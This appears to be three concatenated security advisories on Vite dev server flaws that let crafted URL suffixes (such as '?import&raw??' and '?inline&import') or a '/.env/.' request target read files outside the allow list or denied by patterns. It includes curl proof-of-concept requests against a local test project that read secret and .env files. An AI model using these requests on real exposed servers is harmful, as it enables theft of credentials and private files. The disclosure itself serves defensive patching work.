Summary The contents of arbitrary files can be returned to the browser.
Impact Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details @fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.
PoC bash $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev
$ echo "top secret content" > /tmp/secret.txt
expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
Summary
The contents of arbitrary files can be returned to the browser.
Impact Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details
- base64 encoded content of non-allowed files is exposed using ?inline&import (originally reported as ?import&?inline=1.wasm?init) - content of non-allowed files is exposed using ?raw?import
/@fs/ isn't needed to reproduce the issue for files inside the project root.
PoC
Original report (check details above for simplified cases):
The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev
Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init
Summary The contents of files in the project root that are denied by a file matching pattern can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. Only files that are under project root and are denied by a file matching pattern can be bypassed.
- Examples of file matching patterns: .env, .env., .{crt,pem}, /.env - Examples of other patterns: /.git/, .git/, .git//
Details server.fs.deny can contain patterns matching against files (by default it includes .env, .env., .{crt,pem} as such patterns). These patterns were able to bypass for files under root by using a combination of slash and dot (/.).
PoC npm create vite@latest cd vite-project/ cat "secret" > .env npm install npm run dev curl --request-target /.env/. http://localhost:5173
!image !image